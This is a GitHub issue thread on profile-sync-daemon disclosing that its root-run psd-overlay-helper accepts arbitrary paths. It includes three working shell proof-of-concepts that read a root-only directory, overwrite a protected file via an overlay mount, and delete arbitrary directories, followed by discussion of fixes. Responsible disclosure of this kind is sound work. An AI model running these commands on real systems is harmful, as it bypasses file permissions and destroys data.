graysky2 / profile-sync-daemon

Symlinks and syncs browser profile dirs to RAM thus reducing HDD/SDD calls and speeding-up browsers.
https://wiki.archlinux.org/index.php/Profile-sync-daemon
Other
899 stars 84 forks source link

overlay-helper isn't really secure #286

Open Szunti opened 3 years ago

Szunti commented 3 years ago

Acting on arbitrary arguments makes it easy to bypass file privileges. Fixes for #235 were not really effective.

  1. Reading unreadable directory
    $ ### create secret directory
    $mkdir secretdir
    $echo 'password' > secretdir/secretfile
    $chmod 700 secretdir
    $chmod 600 secretdir/secretfile
    $sudo chown -R root:root secretdir/
    $ls secretdir
    ls: cannot open directory 'secretdir': Permission denied
    $ ### reading as non-root
    $ ## need two random root owned directory, one of them world readable
    $ ## works because the merged dir has the permissions of upper, lower dir's permissions are ignored
    $sudo mkdir root_owned root_readable
    $sudo chmod 700 root_owned
    $ ## and the help of psd-overlay-helper
    $mkdir work
    $psd-overlay-helper -v 23 -l secretdir -u root_readable -w work -d root_owned mountup
    $ls root_owned
    secretfile
    $ ### cleanup
    $ sudo umount root_owned
    $ rm -rf work
  2. mount on top of any directory
    $ ### lets replace that password from earlier
    $sudo cat secretdir/secretfile
    password
    $mkdir work lower upper
    $ ## mount over the secretdir
    $psd-overlay-helper -v 23 -l lower -u upper -w work -d secretdir mountup
    $echo newpassword > secretdir/secretfile
    $ ## now everyone sees the new password
    $sudo cat secretdir/secretfile
    newpassword
    $ ## cleanup
    $rm -rf work
    $sudo umount secretdir
  3. newly added rm -rf on workdir, delete anything
    $ ### lets delete secretdir
    $ ## create dummy mount, so umount .. && rm -rf ${WORKDIR} in psd-overlay-helper reach rm -rf
    $mkdir work merged
    $psd-overlay-helper -v 23 -l lower -u upper -w work -d merged mountup
    $ ## and delete secretdir in place of the workdir
    $psd-overlay-helper -d merged -w secretdir mountdown
    $ls secretdir
    ls: cannot access 'secretdir': No such file or directory

    There could be more, this is just a couple I found.

I suggest that psd-overlay-helper takes only the lower directory as argument and maybe a name and creates the upper, workdir and merged dir in safe places on its own. Also at unmounting it checks that it actually unmounts one of the directories that it mounted and gets the workdir from the mounting options. I could try to work on this if you agree.

graysky2 commented 3 years ago

Please do. Thanks for your input.

Szunti commented 3 years ago

Thank you for making psd. I'm glad if I can contribute a little. I will make a pr probably tomorrow.

szaszaiz commented 3 years ago

With the 5.11 kernel unprivileged overlayfs mounting is allowed. @graysky2 do you plan to update the code accordingly?

graysky2 commented 3 years ago

Worth looking into... but now getting into versioned deps....

graysky2 commented 3 years ago

@szaszaiz - Do you have an example mounting as such? This doc seems to indicate that a simple mount option is all that's needed.

the "-o userxattr" mount option forces overlayfs to use the "user.overlay." xattr namespace instead of "trusted.overlay.". This is useful for unprivileged mounting of overlayfs.

Perhaps I am missing something.

% mkdir /scratch/.openwrt-upper /scratch/.openwrt-work /scratch/union
% mount -o userxattr -t overlay openwrt-build -olowerdir=/incoming/openwrt,upperdir=/scratch/.openwrt-upper,workdir=/scratch/.openwrt-work /scratch/union
mount: /scratch/union: must be superuser to use mount.
Szunti commented 3 years ago

Sorry, I disappeared.

This works for me:

# Run bash in new user namespace and mount namespace to get capabilities
% unshare --user --mount -r bash
(inside userns)% mount -t overlay ovi -oupperdir=upper,lowerdir=lower,workdir=workdir union
Szunti commented 3 years ago

From mount_namespace(7) manual page:

When creating a less privileged mount namespace, shared mounts are reduced to slave mounts. (Shared and slave mounts are discussed below.) This ensures that mappings performed in less privileged mount namespaces will not propagate to more privileged mount namespaces.

So IIUC we still can't create mounts without privileges that are seen by the browsers.

Szunti commented 3 years ago

Is it acceptable to have a wrapper that runs the browser in the user namespace?

graysky2 commented 3 years ago

Sorry I disappeared. Do you have a proof-of-concept wrapper hacked up?

Szunti commented 3 years ago

I have something in the user-namespace branch of my fork. git clone git@github.com:Szunti/profile-sync-daemon.git user-namespace

The readme file should explain how to use it. I hope it's not hard to understand.

But I don't think there is a good way to wrap all ways of running a browser. So this may not be a viable solution.

bezirg commented 3 years ago

@Szunti for your config.sh can't the user use ~/.local/share/applications/firefox.desktop to override the global firefox.desktop? According to archwiki "User entries take precedence over system entries." https://wiki.archlinux.org/title/Desktop_entries

Szunti commented 3 years ago

I'm not sure, but when you set firefox as your default browser a desktop file is created. That probably references the binary by absolute path too. I think trying to override firefox is fragile.

Wouldn't it be easier to add the overlay to fstab for example?

ghost commented 3 years ago

The root problem here is that psd-overlay-helper is just a wrapper around mount (and one that requires root privileges at that). Using a user namespace doesn't really seem to solve the problem to me, it just shifts the arbitrary commands from root to user level where havoc can still be wreaked.

One solution (this is just brainstorming, not necessarily a practical idea) is to have profile-sync-daemon run as root at start, mount the overlay, then drop privileges. Then not have psd-overlay-helper be able to be called at all.

Alternatively, instead of allowing it to accept arbitrary input, do some input sanitization.

Or, have the whole thing run as a dedicated (or dynamic user). Though I don't know how this interacts with overlayfs.

Or add some privilege flags to the systemd script (like ProtectHome, an example not suggesting it) that will restrict the capabilities of the executables.